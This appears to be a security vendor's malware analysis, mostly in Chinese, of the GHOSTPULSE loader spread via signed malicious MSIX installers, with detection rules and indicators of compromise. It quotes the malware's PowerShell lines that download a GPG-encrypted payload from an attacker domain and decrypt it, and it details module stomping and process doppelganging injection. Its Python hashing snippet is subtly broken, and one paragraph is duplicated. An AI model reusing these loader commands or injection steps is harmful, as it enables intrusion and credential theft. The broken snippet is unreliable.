Salim BitamJoe Desimone

GHOSTPULSE 使用防御规避技巧攻击受害者

Elastic 安全实验室揭示了一项新活动的详细信息,该活动利用防御规避功能来感染受害者恶意 MSIX 可执行文件。

GHOSTPULSE haunts victims using defense evasion bag o' tricks

更新

2024 年 10 月,我们发布了 GHOSTPULSE 第二阶段的更新,其中包含新的规避技术。您可以在此处查看。

序言

Elastic 安全实验室观察到一项活动,该活动使用签名的MSIX 应用程序包来入侵用户,以获得初始访问权限。该活动利用了一个隐秘的加载器,我们称之为 GHOSTPULSE,它会解密并注入其最终有效负载以躲避检测。

MSIX 是一种 Windows 应用程序包格式,开发人员可以利用它来打包、分发和安装其应用程序到 Windows 用户。通过应用程序安装程序,只需双击即可安装 MSIX 包。这使得它们成为希望入侵毫无戒心的受害者的攻击者的潜在目标。但是,MSIX 需要访问购买或被盗的代码签名证书,使其对资源高于平均水平的群体可行。

在一种常见的攻击场景中,我们怀疑用户被引导通过受感染的网站、搜索引擎优化 (SEO) 技术或恶意广告下载恶意 MSIX 包。我们观察到的伪装主题包括 Chrome、Brave、Edge、Grammarly 和 WebEx 的安装程序,仅举几例。

从用户的角度来看,“安装”按钮似乎按预期工作。不会显示弹出窗口或警告。但是,会秘密使用 PowerShell 脚本来下载、解密和执行系统上的 GHOSTPULSE。

恶意软件分析

GHOSTPULSE 加载器可以分解为 3 个阶段(有时以 PowerShell 脚本开头)来执行最终有效负载。

第 0 阶段

我们将恶意 MSIX 安装程序删除的 PowerShell 脚本视为第 0 阶段的有效负载。PowerShell 脚本通常包含在 MSIX 感染向量中,但并非总是包含在其他 GHOSTPULSE 感染方法(MSI、EXE、ISO)中。在一个示例中,PowerShell 脚本从manojsinghnegi[.]com/2.tar.gpg下载 GPG 加密文件。

接下来,PowerShell 脚本使用以下参数使用命令行 GPG 实用程序解密文件

  • putin - GPG 文件的密码
  • --batch - 以非交互模式执行 GPG
  • --yes - 对任何提示回答“是”
  • --passphrase-fd 0 - 从文件描述符读取密码,0 指示 GPG 使用 STDIN,即 putin
  • --decrypt - 解密文件
  • --output - 将解密的文件另存为
# 1
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
$outputPath = "$env:APPDATA\$xxx.gpg"
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg

GPG 实用程序包含在恶意 MSIX 安装程序包中。

解密的文件是一个 tar 存档,其中包含一个可执行文件VBoxSVC.exe,它实际上是一个重命名的签名gup.exe可执行文件,用于更新 Notepad++,它容易受到侧加载攻击,在一个示例中,一个加密文件handoff.wav和一个大部分良性的库libcurl.dll,其中一个函数被恶意代码覆盖。PowerShell 执行二进制文件VBoxSVC.exe,它将从当前目录侧加载恶意 DLL libcurl.dll。通过最大限度地减少磁盘上加密恶意代码的占用空间,威胁参与者能够躲避基于文件的 AV 和 ML 扫描。

第 1 阶段

GHOSTPULSE 的第一阶段嵌入在一个恶意的 DLL 中,该 DLL 通过良性可执行文件进行侧加载。相应的代码的执行在 DllEntryPoint 阶段触发。

该过程的启动是通过查明 libcurl.dll 恶意 DLL 的基址实现的,这是通过解析 InLoadOrderModuleList API 实现的。此列表驻留在进程环境块 (PEB) 中,系统地记录有关加载模块的信息。

接下来,GHOSTPULSE 构建一个包含必要 API 的导入地址表 (IAT)。此操作涉及解析进程环境块 (PEB) 中的 InLoadOrderModuleList 结构。

# Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&0xFFFFFFFF
    return value

下面是从 GHOSTPULSE 恶意软件样本重建的第 1 阶段 IAT 结构,供参考

struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};

然后,它通过从当前目录读取和解析名为handoff.wav的文件来继续其操作。此文件包含一个加密的数据 blob,分为不同的块。每个数据块都位于字符串 IDAT 之后。解析过程涉及恶意软件执行两个不同的步骤。

初始阶段涉及通过在文件中搜索 IDAT 字符串来识别加密数据的开始,然后是一个独特的 4 字节标签值。如果标签对应于恶意软件配置中存储的值,则恶意软件会提取加密 blob 的字节。初始结构如下

struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};
  • size_of_chunk:恶意软件利用此值,执行位移来确定在下一次出现 IDAT 之前要提取的块大小。
  • xor_key:用于解密提取后合并的加密 blob 的 4 字节长 XOR 密钥
  • size_of_encrypted_blob:表示加密 blob 的整体大小,该大小以块的形式存储在文件中
  • first_chunk:标记内存中第一个数据块的开始

在第二步中,恶意软件定位下一次出现的 IDAT,并继续提取其后的加密块,其格式如下

struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};
  • size_of_chunk:恶意软件利用此值,执行位移来确定在下一次出现 IDAT 之前要提取的块大小。
  • n_chunk:标记内存中数据块的开始

恶意软件继续提取加密数据块,直到达到指定的 size_of_encrypted_blob。随后,恶意软件使用 4 字节 XOR 密钥 xor_key 解密数据。

在这个阶段,已经被压缩的数据 blob 会被恶意软件解压缩。解压缩过程使用 RtlDecompressBuffer API。

恶意软件接下来会使用 LoadLibraryW 函数加载其配置中指定的库,在本例中为 mshtml.dll。解密和解压缩的数据 blob 中包含的 Shellcode(第二阶段)被写入新加载的 DLL 的 .text 区段,然后被执行。

这种技术被称为“模块践踏”。下图显示了与模块践踏相关的、通过 Elastic Defend 捕获的 VirtualProtect API 调用。

第二阶段

第二阶段的开始是构建一个新的 IAT 结构,并利用 CRC32 算法作为 API 名称哈希机制。以下是第二阶段的 IAT 结构。

struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};

关于 NT 函数,恶意软件从磁盘读取 ntdll.dll 库,并将其写入具有读取、写入和执行权限的动态分配的内存空间。随后,它解析已加载的 ntdll.dll 库,以提取所需的 NT 函数的偏移量。这些偏移量随后存储在新建的 IAT 结构中。当恶意软件需要执行 NT API 时,它会将 API 偏移量添加到 ntdll.dll 的基地址,并直接调用该 API。鉴于 NT API 在非常低的级别上运行,它们直接执行系统调用,这不需要使用 LoadLibrary API 将 ntdll.dll 库加载到内存中,这样做是为了逃避安全产品设置的用户态钩子。

以下是恶意软件用来存储 NT API 偏移量的结构。

struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};

如果配置为这样,GHOSTPULSE 能够通过生成一个指向第一阶段二进制文件(表示为 VBoxSVC.exe)的 .lnk 文件来建立持久性。为了实现这一点,恶意软件利用 COM(组件对象模型)对象作为其技术的一部分。

它从第一阶段解密的数据 blob 中提取另一个子 blob 数据。此数据位于结构中的特定位置。然后,恶意软件对该子 blob 执行 XOR 加密,使用计算机名称的 CRC32 值与常量值 0xA1B2D3B4 之间的 XOR 运算结果。最后,加密的数据被保存到用户临时文件夹中的一个文件中。它从第一阶段解密的数据 blob 中提取另一个子 blob 数据。此数据位于结构中的特定位置。然后,恶意软件对该子 blob 执行 XOR 加密,使用计算机名称的 CRC32 值与常量值 0xA1B2D3B4 之间的 XOR 运算结果。最后,加密的数据被保存到用户临时文件夹中的一个文件中。

然后,恶意软件使用第二阶段配置中指定的执行文件启动一个暂停的子进程,在本例中为 32 位的 cmd.exe。然后,它向子进程添加一个具有随机名称的环境变量,例如:GFHZNIOWWLVYTESHRTGAVC,指向先前创建的临时文件。

此外,恶意软件继续创建一个节对象,并使用 ZwCreateSectionZwMapViewOfSection API 将其视图映射到子进程中的 mshtml.dll

使用 WriteProcessMemory API 覆盖合法的 mshtml.dll 代码。然后,使用 Wow64SetThreadContext API 将主线程的执行重定向到 mshtml.dll 中的恶意代码,如下图所示。

父进程立即终止自身。

第三阶段

GHOSTPULSE 第三阶段的目标是在另一个进程中加载并执行最终有效载荷。第三阶段的一个有趣之处在于,它会使用新指令覆盖其先前执行的指令,以使分析变得困难。它还能够使用上述相同的方法建立持久性。GHOSTPULSE 使用 “天堂之门” 技术执行 NTDLL API。

第三阶段首先使用 CRC32 作为哈希算法构建其自己的函数导入表。此外,如果配置为这样,它还能够通过使用 Wow64FsRedirection 程序来禁用文件系统重定向到 WOW64。

在此之后,第三阶段访问先前设置的环境变量,在本例中为 GFHZNIOWWLVYTESHRTGAVC,检索关联的临时文件,并继续解密其内容。

解密的文件包括一个配置和一个加密格式的最终有效载荷。最终有效载荷使用存储在配置中的 200 字节长的密钥进行 XOR 解密。然后,恶意软件使用一组函数解析有效载荷的 PE 结构,这些函数将指示如何注入有效载荷,例如,有效载荷的类型(DLL 或可执行文件)架构等。

GHOSTPULSE 采用 进程伪装,利用 NTFS 事务功能将最终有效载荷注入到一个新的子进程中。以下步骤说明了该过程:

  • 调用 CreateTransaction API 以初始化一个事务
  • 使用 ZwCreateFile API 在临时文件夹中创建一个具有随机文件名的事务文件
  • 使用 ZwWriteFile API 将有效载荷写入临时文件
  • 使用 ZwCreateSection API 创建事务文件的节
  • 此时不再需要该文件,恶意软件调用 RollbackTransaction API 来回滚事务
  • GHOSTPULSE 使用其配置中提取的目标进程路径创建一个暂停的进程,在我们的示例中为 1msbuild.exe1
  • 它使用 ZwMapViewOfSection API 将该节的视图映射到进程中
  • 它使用 NtSetContextThread API 将子进程线程的指令指针设置为最终有效载荷的入口点
  • 最后,它使用 NtResumeThread API 恢复线程

最终有效载荷

最终有效载荷因样本而异,但通常是信息窃取程序。我们已经观察到 SectopRAT、Rhadamanthys、Vidar、Lumma 和 NetSupport 作为最终有效载荷。在 SectopRAT 样本中,恶意软件首先访问 Pastebin 以检索命令和控制地址。在本例中,它通过 TCP 端口 15647 连接到 195.201.198[.]179,如下所示。

配置提取器

除了这项研究之外,Elastic 安全研究团队还提供了一个配置提取器,以允许威胁研究人员继续工作,以发现此活动中的进一步发展并扩展我们社区的检测能力。提取器将 GHOSTPULSE 附带的加密文件作为输入。

检测指南

Elastic Defend 使用以下行为保护规则检测此威胁:

  • 对可疑顶级域的 DNS 查询
  • 加载由签名二进制代理写入的文件
  • 来自未签名 DLL 的可疑 API 调用
  • 对远程进程的可疑内存写入
  • 从修改后的 NTDLL 创建进程

以下 yara 规则也将在磁盘上检测 GHOSTPULSE 加载程序:

观测结果

所有可观测项也可在下载中以 ECS 和 STIX 格式提供。

本研究中讨论了以下可观测项。

可观测项类型名称参考
78.24.180[.]93ip-v4第 0 阶段 C2 IP
manojsinghnegi[.]comdomain-name第 0 阶段 C2 域名
manojsinghnegi[.]com/2.tar.gpgurl第 0 阶段 C2 URL
0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20sha256Chrome-x64.msix恶意 MSIX
ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8sha256Brave-x64.msix恶意 MSIX
4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356sha256Webex.msix恶意 MSIX
eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61sha256new1109.ps1PowerShell 下载器
49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9sha25638190626900.rarGHOSTPULSE tar 压缩文件
Futurity Designs Ltd代码签名者Chrome-x64.msix 代码签名者
Fodere 钛金有限公司代码签名者Brave-x64.msix 代码签名者
IMPERIOUS TECHNOLOGIES LIMITED代码签名者Webex.msix 代码签名者

参考资料